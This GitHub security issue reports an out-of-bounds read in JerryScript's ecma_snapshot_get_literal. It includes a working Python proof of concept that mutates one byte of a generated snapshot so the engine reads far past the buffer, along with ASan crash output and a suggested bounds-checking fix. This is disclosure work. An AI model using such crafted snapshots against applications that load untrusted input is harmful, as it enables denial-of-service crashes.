Skip to content

JerryScript: malformed snapshot literal offset causes out-of-bounds read in ecma_snapshot_get_literal #5295

@shi-bohao

Description

@shi-bohao

Summary

The snapshot loader does not fully validate literal offsets stored in a snapshot file. A crafted snapshot can make ecma_snapshot_get_literal compute a literal pointer outside the snapshot buffer and then read a string length from that invalid address.

This is reachable through jerry --exec-snapshot and the public jerry_exec_snapshot() API. It is not reachable from plain JavaScript source execution.

Security impact

  • Suggested severity: Medium
  • Suggested CWE: CWE-125 (Out-of-bounds Read)
  • Attack surface: malformed snapshot file loaded by the engine
  • Observed impact: deterministic release-build crash / ASan SEGV
  • Note: this is snapshot-input-triggered, not pure JavaScript source-triggered
  • Security impact exists when an embedding application accepts snapshots from an untrusted or attacker-modifiable source. If snapshots are always generated and stored by the application itself and cannot be modified, the practical risk is lower.

Root cause

At jerry-core/ecma/base/ecma-literal-storage.c, the snapshot literal offset is used without checking whether it stays inside the snapshot literal table:

const uint8_t *literal_p = literal_base_p + (literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT);
...
uint16_t length = *(const uint16_t *) literal_p;
return ecma_find_or_create_literal_string (literal_p + sizeof (uint16_t), length, false);

There is no bounds check before reading length or before using the following bytes as string data.

JerryScript revision

Observed at JerryScript commit:

b7069350c2e52e7dc721dfb75f067147bd79b39b

Tested on: 2026-06-20.

Build platform
Ubuntu 24.04.4 LTS (Linux 6.6.87.2-microsoft-standard-WSL2 x86_64)
Build steps

Snapshot-enabled ASan build:

python3 tools/build.py --clean \
  --builddir=build-snapshot-asan \
  --jerry-cmdline-snapshot=ON \
  --snapshot-exec=ON \
  --snapshot-save=ON \
  --compile-flag=-fsanitize=address \
  --linker-flag=-fsanitize=address \
  --strip=OFF

A non-ASan snapshot build can also reproduce the crash:

python3 tools/build.py --clean \
  --jerry-cmdline-snapshot=ON \
  --snapshot-exec=ON \
  --snapshot-save=ON
Build log

Not a build problem. Build completed successfully.

Test case

The following Python script generates a valid snapshot from benign JavaScript, mutates one byte in a serialized ecma_value_t snapshot literal offset, prints the relevant layout information, and writes poc.snapshot.

make_snapshot_oob.py:

#!/usr/bin/env python3
import os
import subprocess
import tempfile
import struct
import hashlib

JERRY_SNAPSHOT = os.environ.get("JERRY_SNAPSHOT", os.path.abspath("./build/bin/jerry-snapshot"))

SOURCE = """var x = { a: 1 }?.a;
var x = { a: 1 }?.a;
var x = 1;
function f() { return 1; }
var x = true ? 1 : 0;
print(0);
"""

def main():
    with tempfile.NamedTemporaryFile(mode="w", suffix=".js", delete=False) as f:
        f.write(SOURCE)
        js_path = f.name

    snap_path = js_path + ".snapshot"

    try:
        subprocess.run(
            [JERRY_SNAPSHOT, "generate", "-o", snap_path, js_path],
            check=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
        )

        with open(snap_path, "rb") as f:
            snap = bytearray(f.read())

        if len(snap) <= 0x8e:
            raise RuntimeError("Unexpected snapshot layout: only %d bytes" % len(snap))

        original = bytearray(snap)

        # This byte is part of the little-endian ecma_value_t at file offset 0x8c.
        # The mutation changes that value from 0x00000087 to 0x007a0087.
        snap[0x8e] = 0x7a

        magic, version, flags, lit_table_offset, number_of_funcs, func0 = struct.unpack_from("<IIIIII", original, 0)
        old_value = struct.unpack_from("<I", original, 0x8c)[0]
        new_value = struct.unpack_from("<I", snap, 0x8c)[0]
        literal_offset = new_value >> 5  # JERRY_SNAPSHOT_LITERAL_SHIFT == ECMA_VALUE_SHIFT + 2 == 5.
        literal_absolute = lit_table_offset + literal_offset

        print("snapshot size:", len(original))
        print("original sha256:", hashlib.sha256(original).hexdigest())
        print("mutated sha256:", hashlib.sha256(snap).hexdigest())
        print("literal table offset:", lit_table_offset)
        print("literal table size:", len(original) - lit_table_offset)
        print("original byte at 0x8e:", hex(original[0x8e]))
        print("mutated byte at 0x8e:", hex(snap[0x8e]))
        print("original ecma_value_t at 0x8c: 0x%08x" % old_value)
        print("mutated ecma_value_t at 0x8c: 0x%08x" % new_value)
        print("mutated type bits:", new_value & 0x7)
        print("decoded literal offset:", literal_offset)
        print("absolute literal address offset:", literal_absolute)
        print("points bytes past snapshot end:", literal_absolute - len(original))

        with open("poc.snapshot", "wb") as f:
            f.write(snap)

        print("Wrote poc.snapshot")
    finally:
        os.unlink(js_path)
        try:
            os.unlink(snap_path)
        except FileNotFoundError:
            pass

if __name__ == "__main__":
    main()
Execution platform

Same as the build platform.

Execution steps

For the ASan build above:

JERRY_SNAPSHOT=build-snapshot-asan/bin/jerry-snapshot python3 make_snapshot_oob.py
ASAN_OPTIONS=detect_leaks=0 build-snapshot-asan/bin/jerry --exec-snapshot poc.snapshot

For a non-ASan snapshot build:

JERRY_SNAPSHOT=build/bin/jerry-snapshot python3 make_snapshot_oob.py
build/bin/jerry --exec-snapshot poc.snapshot
Output

ASan output:

snapshot size: 166
original sha256: 66ed96335483160bfc15c99c1956dbd3b7bba79911d485cd7c952e0d27bf50fb
mutated sha256: 4daa6ca55e13460be26a27bb62dda2d30ea6779522933a18cb65197dfdeed799
literal table offset: 144
literal table size: 22
original byte at 0x8e: 0x0
mutated byte at 0x8e: 0x7a
original ecma_value_t at 0x8c: 0x00000087
mutated ecma_value_t at 0x8c: 0x007a0087
mutated type bits: 7
decoded literal offset: 249860
absolute literal address offset: 250004
points bytes past snapshot end: 249838

AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV on unknown address 0x50f00003d0d4
The signal is caused by a READ memory access.

The mutated value still has type bits 7, which is ECMA_TYPE_SNAPSHOT_OFFSET. ecma_snapshot_get_literal then computes:

literal_p = literal_base_p + (literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT)
          = snapshot[144] + 249860

The generated snapshot is only 166 bytes long, so the decoded literal pointer is 249838 bytes past the end of the snapshot buffer.

Backtrace

Representative ASan stack:

#0 ecma_snapshot_get_literal
#1 snapshot_load_compiled_code
#2 snapshot_load_compiled_code
#3 main

The crash occurs when ecma_snapshot_get_literal reads the string length from an out-of-bounds literal_p.

Expected behavior

The snapshot loader should validate all snapshot offsets and sizes before reading from them. A malformed snapshot should be rejected with an error instead of causing an out-of-bounds read or process crash.

Suggested fix

Primary fix: validate literal offsets before use.

  • Pass the snapshot bounds or literal-table bounds to ecma_snapshot_get_literal.
  • Before pointer arithmetic, check that (literal_value >> JERRY_SNAPSHOT_LITERAL_SHIFT) is within the literal table.
  • For number literals, check that sizeof(ecma_number_t) bytes are available.
  • For BigInt literals, check that the header and declared digit data fit in the literal table.
  • For string literals, check that sizeof(uint16_t) + length bytes are available.
  • Use overflow-safe checks such as required_size <= literal_table_size - offset.

Defense in depth: validate nested compiled-code offsets, bytecode sizes, and other snapshot-internal pointers before following them.

Regression test suggestion

Add a snapshot regression test that runs this malformed snapshot and verifies that jerry --exec-snapshot poc.snapshot rejects the input cleanly instead of crashing.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions